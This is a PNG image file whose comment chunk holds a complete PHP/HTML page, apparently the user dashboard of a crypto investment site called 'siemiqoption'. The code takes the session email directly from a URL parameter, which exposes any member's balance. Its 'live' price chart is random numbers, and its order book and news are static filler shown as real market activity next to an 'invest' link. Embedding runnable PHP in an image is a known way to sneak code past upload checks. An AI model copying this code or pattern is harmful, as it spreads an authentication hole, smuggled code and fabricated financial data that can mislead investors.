PNG IHDR x sBIT|d pHYs + tEXtSoftware www.inkscape.org< ,tEXtComment
<?php
require_once('dash/includes/connect.php');
require_once('dash/includes/functions.php');
session_start();
if(isset($_GET["email"])){
$_SESSION['Email'] = $_GET["email"];
}
$user = GetMember1($_SESSION['Email']);
//$history = New_history($user['Email']);
//$trade = trade($user['Email']);
?>
<!DOCTYPE html>
<html lang="en">
<!-- Mirrored from siemiqoption.netlify.app/exchange-dark-fluid.html by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 06 Jan 2022 14:35:27 GMT -->
<!-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=UTF-8" /><!-- /Added by HTTrack -->
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>siemiqoption</title>
<link rel="icon" href="assets/img/favicon.png" type="image/x-icon">
<link rel="stylesheet" href="assets/css/style.css">
</head>
<body id="dark">
<header>
<?php include('nav.php') ?>
</header>
<div class="container-fluid p-0">
<style>
/*==================================================
= Bootstrap 3 Media Queries =
==================================================*/
/*========== Mobile First Method ==========*/
/* Custom, iPhone Retina */
@media only screen and (min-width : 320px) {
}
/* Extra Small Devices, Phones */
@media only screen and (min-width : 480px) {
}
/* Small Devices, Tablets */
@media only screen and (min-width : 768px) {
}
/* Medium Devices, Desktops */
@media only screen and (min-width : 992px) {
}
/* Large Devices, Wide Screens */
@media only screen and (min-width : 1200px) {
}
/*========== Non-Mobile First Method ==========*/
/* Large Devices, Wide Screens */
@media only screen and (max-width : 1200px) {
}
/* Medium Devices, Desktops */
@media only screen and (max-width : 992px) {
}
/* Small Devices, Tablets */
@media only screen and (max-width : 768px) {
}
/* Extra Small Devices, Phones */
@media only screen and (max-width : 480px) {
}
/* Custom, iPhone Retina */
@media only screen and (max-width : 320px) {
}
/*=====================================================
= Bootstrap 2.3.2 Media Queries =
=====================================================*/
@media only screen and (max-width : 1200px) {
}
@media only screen and (max-width : 979px) {
}
@media only screen and (max-width : 767px) {
}
@media only screen and (max-width : 480px) {
}
@media only screen and (max-width : 320px) {
}
/* default styles here for older browsers.
I tend to go for a 600px - 960px width max but using percentages
*/
@media only screen and (min-width:960px){
/* styles for browsers larger than 960px; */
}
@media only screen and (min-width:1440px){
/* styles for browsers larger than 1440px; */
}
@media only screen and (min-width:2000px){
/* for sumo sized (mac) screens */
}
@media only screen and (max-device-width:480px){
/* styles for mobile browsers smaller than 480px; (iPhone) */
}
@media only screen and (device-width:768px){
/* default iPad screens */
}
/* different techniques for iPad screening */
@media only screen and (min-device-width: 481px) and (max-device-width: 1024px) and (orientation:portrait) {
/* For portrait layouts only */
}
@media only screen and (min-device-width: 481px) and (max-device-width: 1024px) and (orientation:landscape) {
/* For landscape layouts only */
}
/*******Nuevos mensajes de error******/
.new-message-box {
margin: 15px 0;
padding-left: 20px;
margin-bottom: 25px!important;
}
.new-message-box p{
font-size: 1.15em;
font-weight: 600;
}
.info-tab {
width: 40px;
height: 40px;
display: inline-block;
position: relative;
top: 8px;
}
.info-tab {
float: left;
margin-left: -23px;
}
.info-tab i::before {
width: 24px;
height: 24px;
box-shadow: inset 12px 0 13px rgba(0,0,0,0.5);
}
.info-tab i::after {
width: 0;
height: 0;
border: 12px solid transparent;
border-bottom-color: #fff;
border-left-color: #fff;
bottom: -18px;
}
.info-tab i::before, .info-tab i::after {
content: "";
display: inline-block;
position: absolute;
left: 0;
bottom: -17px;
transform: rotateX(60deg);
}
.note-box, .warning-box, .tip-box-success, .tip-box-danger, .tip-box-warning, .tip-box-info, .tip-box-alert {
padding: 12px 8px 3px 26px;
}
/***Success****/
.new-message-box-success {
background: #eeeeee;
padding: 3px;
margin: 10px 0;
}
.tip-icon-success {
background: #8BC34A;//500
}
.tip-box-success {
color: #33691E;//900
background: #DCEDC8;//100
}
.tip-icon-success::before {
font-size: 25px;
content:"\f00c";
top: 8px;
left: 11px;
font-family: FontAwesome;
position: absolute;
color: white;
}
.tip-icon-success i::before {
background: #8BC34A;//500
}
/*******Danger*******/
.new-message-box-danger {
background: #eeeeee;
padding: 3px;
margin: 10px 0;
}
.tip-icon-danger {
background: #f44336;//500
}
.tip-box-danger {
color: #b71c1c;//900
background: #FFCCBC;//100
}
.tip-icon-danger::before {
font-size: 25px;
content:"\f00d";
top: 8px;
left: 11px;
font-family: FontAwesome;
position: absolute;
color: white;
}
.tip-icon-danger i::before {
background: #f44336;//500
}
/*******warning*******/
.new-message-box-warning {
background: #eeeeee;
padding: 3px;
margin: 10px 0;
}
.tip-icon-warning {
background: #FFEB3B;//500
}
.tip-box-warning {
color: #212121;//900
background: #FFF9C4;//100
}
.tip-icon-warning::before {
font-size: 25px;
content:"\f071";
top: 8px;
left: 11px;
font-family: FontAwesome;
position: absolute;
color: #212121;
}
.tip-icon-warning i::before {
background: #FFEB3B;//500
}
/*******info*******/
.new-message-box-info {
background: #eeeeee;
padding: 3px;
margin: 10px 0;
}
.tip-box-info {
color: #01579B;//900
background: #B3E5FC;//100
}
.tip-icon-info {
background: #03A9F4;//500
}
.tip-icon-info::before {
font-size: 25px;
content:"\f129";
top: 8px;
left: 11px;
font-family: FontAwesome;
position: absolute;
color: white
}
.tip-icon-info i::before {
background: #03A9F4;//500
}
/*******info*******/
.new-message-box-alert {
background: #FF6F00;
padding: 3px;
margin: 10px 0;
}
.tip-box-alert {
color: #212121;//900
background: #FFF8E1;//100
}
.tip-icon-alert {
background: #FF6F00;//500
}
.tip-icon-alert::before {
font-size: 25px;
content:"\f06a";
top: 8px;
left: 11px;
font-family: FontAwesome;
position: absolute;
color: white
}
.tip-icon-alert i::before {
background: #FF6F00;//500
}
/*************************/
</style>
<div class="container-fluid text-center">
<!-- -->
<?php if($user["plan"] != "none"){ ?>
<div class="row">
<div class="col-xs-12 col-sm-6 col-lg-4"></div>
<div class="col-xs-12 col-sm-6 col-lg-4">
<div class="new-message-box">
<div class="new-message-box-success">
<div class="info-tab tip-icon-success" title="success"><i></i></div>
<div class="tip-box-success">
<!--<p><strong>Tip:</strong> If you want to enable the fading transition effect while closing the alert boxes, apply the classes <code>.fade</code> and <code>.in</code> to them along with the contextual class.</p>-->
<h3 style = "color:#303954">
<strong> <?php echo $user["plan"] ?></strong></h3>
<p>Current Plan</p>
</div>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-6 col-lg-4"></div>
</div>
<?php }else{ ?>
<div class="row">
<div class="col-xs-12 col-sm-6 col-lg-12">
<div class="new-message-box">
<div class="new-message-box-success">
<div class="info-tab tip-icon-alert" title="error"><i></i></div>
<div class="tip-box-success">
<!--<p><strong>Tip:</strong> If you want to enable the fading transition effect while closing the alert boxes, apply the classes <code>.fade</code> and <code>.in</code> to them along with the contextual class.</p>-->
<h3 style = "color:#303954">
<strong> No active Plan!</strong></h3>
<p>Click <a href="wallet.php">invest </a> to choose an active plan.</p>
</div>
</div>
</div>
</div>
</div>
<?php } ?>
</div>
<div class="row no-gutters">
<div class="col-md-3">
<div class="market-pairs" style="height:380px">
<div class="input-group">
<h3 style="color:yellow">$<?php
$bal = $user['Profit'] + $user['Capital'] ;
echo number_format($bal);
?>
</h3>
</div>
<div class="input-group">
<h6 style="color:yellow">Total Balance</h6>
</div>
<br>
<div class="input-group">
<h3 style="color:white">$<?php echo number_format($user['Capital'])?></h3>
</div>
<div class="input-group">
<h6 style="color:white">Deposit</h6>
</div>
<br>
<div class="input-group">
<h3 style="color:white">$<?php echo number_format($user['Profit'])?></h3>
</div>
<div class="input-group">
<h6 style="color:white">Profit</h6>
</div>
<table class="table">
<thead>
<tr>
<th>Pairs</th>
<th>Last Price</th>
<th>Change</th>
</tr>
</thead>
<tbody>
<tr>
<td><i class="icon ion-md-star"></i> ETH/PAX</td>
<td>0.00330255</td>
<td class="red">-9.58%</td>
</tr>
<tr>
<td><i class="icon ion-md-star"></i> KCS/PAX</td>
<td>0.00055192</td>
<td class="red">-0.6%</td>
</tr>
<tr>
<td><i class="icon ion-md-star"></i> XRP/PAX</td>
<td>0.00002996</td>
<td class="red">-0.55%</td>
</tr>
<tr>
<td><i class="icon ion-md-star"></i> VET/PAX</td>
<td>0.00000103</td>
<td class="green">+1.8%</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="col-md-6">
<div class="main-chart">
<!-- TradingView Widget BEGIN -->
<style>
#chartdiv {
width: 100%;
height: 500px;
max-width:100%;
}
</style>
<!-- Resources -->
<script src="https://cdn.amcharts.com/lib/5/index.js"></script>
<script src="https://cdn.amcharts.com/lib/5/xy.js"></script>
<script src="https://cdn.amcharts.com/lib/5/themes/Animated.js"></script>
<!-- Chart code -->
<script>
am5.ready(function() {
// Create root element
// https://www.amcharts.com/docs/v5/getting-started/#Root_element
var root = am5.Root.new("chartdiv");
// Set themes
// https://www.amcharts.com/docs/v5/concepts/themes/
root.setThemes([
am5themes_Animated.new(root)
]);
// Generate random data
var value = 100;
function generateChartData() {
var chartData = [];
var firstDate = new Date();
firstDate.setDate(firstDate.getDate() - 1000);
firstDate.setHours(0, 0, 0, 0);
for (var i = 0; i < 50; i++) {
var newDate = new Date(firstDate);
newDate.setSeconds(newDate.getSeconds() + i);
value += (Math.random() < 0.5 ? 1 : -1) * Math.random() * 10;
chartData.push({
date: newDate.getTime(),
value: value
});
}
return chartData;
}
var data = generateChartData();
// Create chart
// https://www.amcharts.com/docs/v5/charts/xy-chart/
var chart = root.container.children.push(am5xy.XYChart.new(root, {
focusable: true,
panX: true,
panY: true,
wheelX: "panX",
wheelY: "zoomX"
}));
var easing = am5.ease.linear;
// Create axes
// https://www.amcharts.com/docs/v5/charts/xy-chart/axes/
var xAxis = chart.xAxes.push(am5xy.DateAxis.new(root, {
maxDeviation: 0.5,
groupData: false,
extraMax:0.1, // this adds some space in front
extraMin:-0.1, // this removes some space form th beginning so that the line would not be cut off
baseInterval: {
timeUnit: "second",
count: 1
},
renderer: am5xy.AxisRendererX.new(root, {
minGridDistance: 50
}),
tooltip: am5.Tooltip.new(root, {})
}));
var yAxis = chart.yAxes.push(am5xy.ValueAxis.new(root, {
renderer: am5xy.AxisRendererY.new(root, {})
}));
// Add series
// https://www.amcharts.com/docs/v5/charts/xy-chart/series/
var series = chart.series.push(am5xy.LineSeries.new(root, {
name: "Series 1",
xAxis: xAxis,
yAxis: yAxis,
valueYField: "value",
valueXField: "date",
tooltip: am5.Tooltip.new(root, {
pointerOrientation: "horizontal",
labelText: "{valueY}"
})
}));
// tell that the last data item must create bullet
data[data.length - 1].bullet = true;
series.data.setAll(data);
// Create animating bullet by adding two circles in a bullet container and
// animating radius and opacity of one of them.
series.bullets.push(function(root, series, dataItem) {
// only create sprite if bullet == true in data context
if (dataItem.dataContext.bullet) {
var container = am5.Container.new(root, {});
var circle0 = container.children.push(am5.Circle.new(root, {
radius: 5,
fill: am5.color(0xff0000)
}));
var circle1 = container.children.push(am5.Circle.new(root, {
radius: 5,
fill: am5.color(0xff0000)
}));
circle1.animate({
key: "radius",
to: 20,
duration: 5000,
easing: am5.ease.out(am5.ease.cubic),
loops: Infinity
});
circle1.animate({
key: "opacity",
to: 0,
from: 1,
duration: 5000,
easing: am5.ease.out(am5.ease.cubic),
loops: Infinity
});
return am5.Bullet.new(root, {
locationX:undefined,
sprite: container
})
}
})
// Add cursor
// https://www.amcharts.com/docs/v5/charts/xy-chart/cursor/
var cursor = chart.set("cursor", am5xy.XYCursor.new(root, {
xAxis: xAxis
}));
cursor.lineY.set("visible", false);
// Update data every second
setInterval(function () {
addData();
}, 1000)
function addData() {
var lastDataItem = series.dataItems[series.dataItems.length - 1];
var lastValue = lastDataItem.get("valueY");
var newValue = value + ((Math.random() < 0.5 ? 1 : -1) * Math.random() * 5);
var lastDate = new Date(lastDataItem.get("valueX"));
var time = am5.time.add(new Date(lastDate), "second", 1).getTime();
series.data.removeIndex(0);
series.data.push({
date: time,
value: newValue
})
var newDataItem = series.dataItems[series.dataItems.length - 1];
newDataItem.animate({
key: "valueYWorking",
to: newValue,
from: lastValue,
duration: 600,
easing: easing
});
// use the bullet of last data item so that a new sprite is not created
newDataItem.bullets = [];
newDataItem.bullets[0] = lastDataItem.bullets[0];
newDataItem.bullets[0].get("sprite").dataItem = newDataItem;
// reset bullets
lastDataItem.dataContext.bullet = false;
lastDataItem.bullets = [];
var animation = newDataItem.animate({
key: "locationX",
to: 0.5,
from: -0.5,
duration: 600
});
if (animation) {
var tooltip = xAxis.get("tooltip");
if (tooltip && !tooltip.isHidden()) {
animation.events.on("stopped", function () {
xAxis.updateTooltip();
})
}
}
}
// Make stuff animate on load
// https://www.amcharts.com/docs/v5/concepts/animations/
chart.appear(1000, 100);
}); // end am5.ready()
</script>
<!-- HTML -->
<div id="chartdiv"></div>
<!-- TradingView Widget END -->
</div>
<div class="market-trade">
<ul class="nav nav-pills" role="tablist">
<li class="nav-item">
<a class="nav-link active" data-toggle="pill" href="#pills-trade-limit" role="tab"
aria-selected="true">Limit</a>
</li>
<li class="nav-item">
<a class="nav-link" data-toggle="pill" href="#pills-market" role="tab" aria-selected="false">Market</a>
</li>
<li class="nav-item">
<a class="nav-link" data-toggle="pill" href="#pills-stop-limit" role="tab" aria-selected="false">Stop
Limit</a>
</li>
<li class="nav-item">
<a class="nav-link" data-toggle="pill" href="#pills-stop-market" role="tab" aria-selected="false">Stop
Market</a>
</li>
</ul>
<div class="tab-content">
<div class="tab-pane fade show active" id="pills-trade-limit" role="tabpanel">
<div class="d-flex justify-content-between">
<div class="market-trade-buy">
<div class="input-group">
<input type="number" class="form-control" placeholder="Price">
<div class="input-group-append">
<span class="input-group-text">BTC</span>
</div>
</div>
<div class="input-group">
<input type="number" class="form-control" placeholder="Amount">
<div class="input-group-append">
<span class="input-group-text">ETH</span>
</div>
</div>
<ul class="market-trade-list">
<li><a href="#">25%</a></li>
<li><a href="#">50%</a></li>
<li><a href="#">75%</a></li>
<li><a href="#">100%</a></li>
</ul>
<p>Available: <span>0 BTC = 0 USD</span></p>
<p>Volume: <span>0 BTC = 0 USD</span></p>
<p>Margin: <span>0 BTC = 0 USD</span></p>
<p>Fee: <span>0 BTC = 0 USD</span></p>
<button class="btn buy">Buy</button>
</div>
<div class="market-trade-sell">
<div class="input-group">
<input type="number" class="form-control" placeholder="Price">
<div class="input-group-append">
<span class="input-group-text">BTC</span>
</div>
</div>
<div class="input-group">
<input type="number" class="form-control" placeholder="Amount">
<div class="input-group-append">
<span class="input-group-text">ETH</span>
</div>
</div>
<ul class="market-trade-list">
<li><a href="#">25%</a></li>
<li><a href="#">50%</a></li>
<li><a href="#">75%</a></li>
<li><a href="#">100%</a></li>
</ul>
<p>Available: <span>0 BTC = 0 USD</span></p>
<p>Volume: <span>0 BTC = 0 USD</span></p>
<p>Margin: <span>0 BTC = 0 USD</span></p>
<p>Fee: <span>0 BTC = 0 USD</span></p>
<button class="btn sell">Sell</button>
</div>
</div>
</div>
<div class="tab-pane fade" id="pills-market" role="tabpanel">
<div class="d-flex justify-content-between">
<div class="market-trade-buy">
<div class="input-group">
<input type="number" class="form-control" placeholder="Price">
<div class="input-group-append">
<span class="input-group-text">BTC</span>
</div>
</div>
<div class="input-group">
<input type="number" class="form-control" placeholder="Amount">
<div class="input-group-append">
<span class="input-group-text">ETH</span>
</div>
</div>
<ul class="market-trade-list">
<li><a href="#">25%</a></li>
<li><a href="#">50%</a></li>
<li><a href="#">75%</a></li>
<li><a href="#">100%</a></li>
</ul>
<p>Available: <span>0 BTC = 0 USD</span></p>
<p>Volume: <span>0 BTC = 0 USD</span></p>
<p>Margin: <span>0 BTC = 0 USD</span></p>
<p>Fee: <span>0 BTC = 0 USD</span></p>
<button class="btn buy">Buy</button>
</div>
<div class="market-trade-sell">
<div class="input-group">
<input type="number" class="form-control" placeholder="Price">
<div class="input-group-append">
<span class="input-group-text">BTC</span>
</div>
</div>
<div class="input-group">
<input type="number" class="form-control" placeholder="Amount">
<div class="input-group-append">
<span class="input-group-text">ETH</span>
</div>
</div>
<ul class="market-trade-list">
<li><a href="#">25%</a></li>
<li><a href="#">50%</a></li>
<li><a href="#">75%</a></li>
<li><a href="#">100%</a></li>
</ul>
<p>Available: <span>0 BTC = 0 USD</span></p>
<p>Volume: <span>0 BTC = 0 USD</span></p>
<p>Margin: <span>0 BTC = 0 USD</span></p>
<p>Fee: <span>0 BTC = 0 USD</span></p>
<button class="btn sell">Sell</button>
</div>
</div>
</div>
<div class="tab-pane fade" id="pills-stop-limit" role="tabpanel">
<div class="d-flex justify-content-between">
<div class="market-trade-buy">
<div class="input-group">
<input type="number" class="form-control" placeholder="Price">
<div class="input-group-append">
<span class="input-group-text">BTC</span>
</div>
</div>
<div class="input-group">
<input type="number" class="form-control" placeholder="Amount">
<div class="input-group-append">
<span class="input-group-text">ETH</span>
</div>
</div>
<ul class="market-trade-list">
<li><a href="#">25%</a></li>
<li><a href="#">50%</a></li>
<li><a href="#">75%</a></li>
<li><a href="#">100%</a></li>
</ul>
<p>Available: <span>0 BTC = 0 USD</span></p>
<p>Volume: <span>0 BTC = 0 USD</span></p>
<p>Margin: <span>0 BTC = 0 USD</span></p>
<p>Fee: <span>0 BTC = 0 USD</span></p>
<button class="btn buy">Buy</button>
</div>
<div class="market-trade-sell">
<div class="input-group">
<input type="number" class="form-control" placeholder="Price">
<div class="input-group-append">
<span class="input-group-text">BTC</span>
</div>
</div>
<div class="input-group">
<input type="number" class="form-control" placeholder="Amount">
<div class="input-group-append">
<span class="input-group-text">ETH</span>
</div>
</div>
<ul class="market-trade-list">
<li><a href="#">25%</a></li>
<li><a href="#">50%</a></li>
<li><a href="#">75%</a></li>
<li><a href="#">100%</a></li>
</ul>
<p>Available: <span>0 BTC = 0 USD</span></p>
<p>Volume: <span>0 BTC = 0 USD</span></p>
<p>Margin: <span>0 BTC = 0 USD</span></p>
<p>Fee: <span>0 BTC = 0 USD</span></p>
<button class="btn sell">Sell</button>
</div>
</div>
</div>
<div class="tab-pane fade" id="pills-stop-market" role="tabpanel">
<div class="d-flex justify-content-between">
<div class="market-trade-buy">
<div class="input-group">
<input type="number" class="form-control" placeholder="Price">
<div class="input-group-append">
<span class="input-group-text">BTC</span>
</div>
</div>
<div class="input-group">
<input type="number" class="form-control" placeholder="Amount">
<div class="input-group-append">
<span class="input-group-text">ETH</span>
</div>
</div>
<ul class="market-trade-list">
<li><a href="#">25%</a></li>
<li><a href="#">50%</a></li>
<li><a href="#">75%</a></li>
<li><a href="#">100%</a></li>
</ul>
<p>Available: <span>0 BTC = 0 USD</span></p>
<p>Volume: <span>0 BTC = 0 USD</span></p>
<p>Margin: <span>0 BTC = 0 USD</span></p>
<p>Fee: <span>0 BTC = 0 USD</span></p>
<button class="btn buy">Buy</button>
</div>
<div class="market-trade-sell">
<div class="input-group">
<input type="number" class="form-control" placeholder="Price">
<div class="input-group-append">
<span class="input-group-text">BTC</span>
</div>
</div>
<div class="input-group">
<input type="number" class="form-control" placeholder="Amount">
<div class="input-group-append">
<span class="input-group-text">ETH</span>
</div>
</div>
<ul class="market-trade-list">
<li><a href="#">25%</a></li>
<li><a href="#">50%</a></li>
<li><a href="#">75%</a></li>
<li><a href="#">100%</a></li>
</ul>
<p>Available: <span>0 BTC = 0 USD</span></p>
<p>Volume: <span>0 BTC = 0 USD</span></p>
<p>Margin: <span>0 BTC = 0 USD</span></p>
<p>Fee: <span>0 BTC = 0 USD</span></p>
<button class="btn sell">Sell</button>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-md-3">
<div class="order-book">
<h2 class="heading">Order Book</h2>
<table class="table">
<thead>
<tr>
<th>Price(BTC)</th>
<th>Amount(ETH)</th>
<th>Total(ETH)</th>
</tr>
</thead>
<tbody>
<tr class="red-bg-80">
<td class="red">0.022572</td>
<td>1.253415</td>
<td>15.27648</td>
</tr>
<tr class="red-bg-60">
<td class="red">0.020371</td>
<td>1.205415</td>
<td>15.25648</td>
</tr>
<tr class="red-bg-40">
<td class="red">0.023572</td>
<td>1.645415</td>
<td>15.23648</td>
</tr>
<tr class="red-bg-20">
<td class="red">0.032378</td>
<td>1.206715</td>
<td>15.25348</td>
</tr>
<tr class="red-bg-10">
<td class="red">0.022573</td>
<td>1.262415</td>
<td>15.19648</td>
</tr>
<tr class="red-bg-8">
<td class="red">0.154377</td>
<td>1.225415</td>
<td>15.35648</td>
</tr>
<tr class="red-bg-5">
<td class="red">0.120373</td>
<td>1.285415</td>
<td>15.25648</td>
</tr>
<tr class="red-bg">
<td class="red">0.028576</td>
<td>1.291415</td>
<td>15.26448</td>
</tr>
</tbody>
<tbody class="ob-heading">
<tr>
<td>
<span>Last Price</span>
0.020367
</td>
<td>
<span>USD</span>
148.65
</td>
<td class="red">
<span>Change</span>
-0.51%
</td>
</tr>
</tbody>
<tbody>
<tr class="green-bg">
<td class="green">0.158373</td>
<td>1.209515</td>
<td>15.23248</td>
</tr>
<tr class="green-bg-5">
<td class="green">0.020851</td>
<td>1.206245</td>
<td>15.25458</td>
</tr>
<tr class="green-bg-8">
<td class="green">0.025375</td>
<td>1.205715</td>
<td>15.65648</td>
</tr>
<tr class="green-bg-10">
<td class="green">0.020252</td>
<td>1.205495</td>
<td>15.24548</td>
</tr>
<tr class="green-bg-20">
<td class="green">0.020373</td>
<td>1.205415</td>
<td>15.25648</td>
</tr>
<tr class="green-bg-40">
<td class="green">0.020156</td>
<td>1.207515</td>
<td>15.28948</td>
</tr>
<tr class="green-bg-60">
<td class="green">0.540375</td>
<td>1.205915</td>
<td>15.25748</td>
</tr>
<tr class="green-bg-80">
<td class="green">0.020372</td>
<td>1.205415</td>
<td>15.25648</td>
</tr>
</tbody>
</table>
</div>
<div class="market-history">
<ul class="nav nav-pills" role="tablist">
<li class="nav-item">
<a class="nav-link" data-toggle="pill" href="#recent-trades" role="tab" aria-selected="true">Recent
Trades</a>
</li>
<li class="nav-item">
<a class="nav-link active" data-toggle="pill" href="#market-depth" role="tab" aria-selected="false">Market
Depth</a>
</li>
</ul>
<div class="tab-content">
<div class="tab-pane fade" id="recent-trades" role="tabpanel">
<table class="table">
<thead>
<tr>
<th>Time</th>
<th>Price(BTC)</th>
<th>Amount(ETH)</th>
</tr>
</thead>
<tbody>
<tr>
<td>13:03:53</td>
<td class="red">0.020191</td>
<td>0.2155045</td>
</tr>
<tr>
<td>13:03:53</td>
<td class="green">0.020191</td>
<td>0.2155045</td>
</tr>
<tr>
<td>13:03:53</td>
<td class="green">0.020191</td>
<td>0.2155045</td>
</tr>
<tr>
<td>13:03:53</td>
<td class="red">0.020191</td>
<td>0.2155045</td>
</tr>
<tr>
<td>13:03:53</td>
<td class="green">0.020191</td>
<td>0.2155045</td>
</tr>
<tr>
<td>13:03:53</td>
<td class="green">0.020191</td>
<td>0.2155045</td>
</tr>
<tr>
<td>13:03:53</td>
<td class="green">0.020191</td>
<td>0.2155045</td>
</tr>
<tr>
<td>13:03:53</td>
<td class="red">0.020191</td>
<td>0.2155045</td>
</tr>
<tr>
<td>13:03:53</td>
<td class="red">0.020191</td>
<td>0.2155045</td>
</tr>
<tr>
<td>13:03:53</td>
<td class="green">0.020191</td>
<td>0.2155045</td>
</tr>
<tr>
<td>13:03:53</td>
<td class="green">0.020191</td>
<td>0.2155045</td>
</tr>
<tr>
<td>13:03:53</td>
<td class="red">0.020191</td>
<td>0.2155045</td>
</tr>
<tr>
<td>13:03:53</td>
<td class="green">0.020191</td>
<td>0.2155045</td>
</tr>
<tr>
<td>13:03:53</td>
<td class="red">0.020191</td>
<td>0.2155045</td>
</tr>
</tbody>
</table>
</div>
<div class="tab-pane fade show active" id="market-depth" role="tabpanel">
<div id="darkDepthChart"></div>
</div>
</div>
</div>
</div>
<div class="col-md-3">
<div class="market-news">
<h2 class="heading">Market News</h2>
<ul>
<li><a href="#">
<strong>KCS Pay Fees Feature is Coming Soon</strong>
To accelerate the ecosystem construction of KuCoin Share (KCS) and promote the implementation of the KCS
application.
<span>2019-12-04 20:22</span>
</a></li>
<li><a href="#">
<strong>KCS Pay Fees Feature is Coming Soon</strong>
To accelerate the ecosystem construction of KuCoin Share (KCS) and promote the implementation of the KCS
application.
<span>2019-12-04 20:22</span>
</a></li>
<li><a href="#">
<strong>KCS Pay Fees Feature is Coming Soon</strong>
To accelerate the ecosystem construction of KuCoin Share (KCS) and promote the implementation of the KCS
application.
<span>2019-12-04 20:22</span>
</a></li>
<li><a href="#">
<strong>KCS Pay Fees Feature is Coming Soon</strong>
To accelerate the ecosystem construction of KuCoin Share (KCS) and promote the implementation of the KCS
application.
<span>2019-12-04 20:22</span>
</a></li>
<li><a href="#">
<strong>KCS Pay Fees Feature is Coming Soon</strong>
To accelerate the ecosystem construction of KuCoin Share (KCS) and promote the implementation of the KCS
application.
<span>2019-12-04 20:22</span>
</a></li>
</ul>
</div>
</div>
<div class="col-md-9">
<div class="market-history market-order">
<ul class="nav nav-pills" role="tablist">
<li class="nav-item">
<a class="nav-link active" data-toggle="pill" href="#open-orders" role="tab" aria-selected="true">Open
Orders</a>
</li>
<li class="nav-item">
<a class="nav-link" data-toggle="pill" href="#stop-orders" role="tab" aria-selected="false">Closed
Orders</a>
</li>
<li class="nav-item">
<a class="nav-link" data-toggle="pill" href="#order-history" role="tab" aria-selected="false">Order
history</a>
</li>
<li class="nav-item">
<a class="nav-link" data-toggle="pill" href="#trade-history" role="tab" aria-selected="false">Balance</a>
</li>
</ul>
<div class="tab-content">
<div class="tab-pane fade show active" id="open-orders" role="tabpanel">
<ul class="d-flex justify-content-between market-order-item">
<li>Time</li>
<li>All pairs</li>
<li>All Types</li>
<li>Buy/Sell</li>
<li>Price</li>
<li>Amount</li>
<li>Executed</li>
<li>Unexecuted</li>
</ul>
<span class="no-data">
<i class="icon ion-md-document"></i>
No data
</span>
</div>
<div class="tab-pane fade" id="stop-orders" role="tabpanel">
<ul class="d-flex justify-content-between market-order-item">
<li>Time</li>
<li>All pairs</li>
<li>All Types</li>
<li>Buy/Sell</li>
<li>Price</li>
<li>Amount</li>
<li>Executed</li>
<li>Unexecuted</li>
</ul>
<span class="no-data">
<i class="icon ion-md-document"></i>
No data
</span>
</div>
<div class="tab-pane fade" id="order-history" role="tabpanel">
<ul class="d-flex justify-content-between market-order-item">
<li>Time</li>
<li>All pairs</li>
<li>All Types</li>
<li>Buy/Sell</li>
<li>Price</li>
<li>Amount</li>
<li>Executed</li>
<li>Unexecuted</li>
</ul>
<span class="no-data">
<i class="icon ion-md-document"></i>
No data
</span>
</div>
<div class="tab-pane fade" id="trade-history" role="tabpanel">
<ul class="d-flex justify-content-between market-order-item">
<li>Time</li>
<li>All pairs</li>
<li>All Types</li>
<li>Buy/Sell</li>
<li>Price</li>
<li>Amount</li>
<li>Executed</li>
<li>Unexecuted</li>
</ul>
<span class="no-data">
<i class="icon ion-md-document"></i>
No data
</span>
</div>
</div>
</div>
</div>
</div>
</div>
<script src="assets/js/jquery-3.4.1.min.js"></script>
<script src="assets/js/popper.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/amcharts-core.min.js"></script>
<script src="assets/js/amcharts.min.js"></script>
<script src="assets/js/jquery.mCustomScrollbar.js"></script>
<script src="assets/js/custom.js"></script>
<script>
$('tbody, .market-news ul').mCustomScrollbar({
theme: 'minimal',
});
</script>
</body>
<!-- Mirrored from siemiqoption.netlify.app/exchange-dark-fluid.html by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 06 Jan 2022 14:35:27 GMT -->
</html>
b IDATxytVսϓ22 A@IR:hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-E